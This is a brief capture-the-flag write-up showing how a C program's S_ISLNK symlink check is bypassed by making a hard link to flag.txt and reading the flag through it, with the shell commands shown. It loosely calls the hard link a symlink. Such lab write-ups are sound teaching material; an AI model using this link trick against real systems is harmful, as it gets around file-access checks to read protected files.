Bypass symlink detection

if (S_ISLNK(buf.st_mode))
{
    printf("Sneaky, but not good enough!\n");
    return 0;
}

S_ISLINK: https://www.gnu.org/software/libc/manual/html_node/Testing-File-Type.html

[ecomaikgolf@desktop ../hacklets/REDACTED/]$ ln -s flag.txt test
[ecomaikgolf@desktop ../hacklets/REDACTED/]$ file test
test: symbolic link to flag.txt
[ecomaikgolf@desktop ../hacklets/REDACTED/]$ rm test
[ecomaikgolf@desktop ../hacklets/REDACTED/]$ ln -P flag.txt test
[ecomaikgolf@desktop ../hacklets/REDACTED/]$ file test
test: ASCII text
[ecomaikgolf@desktop ../hacklets/REDACTED/]$ cat test
Flag{...}

Also the file has the property that, if flag.txt is deleted, the symlink continues working “And a characteristic of the PHYSICAL LINKS is that if you delete one of the two the other still exists without any problem.”.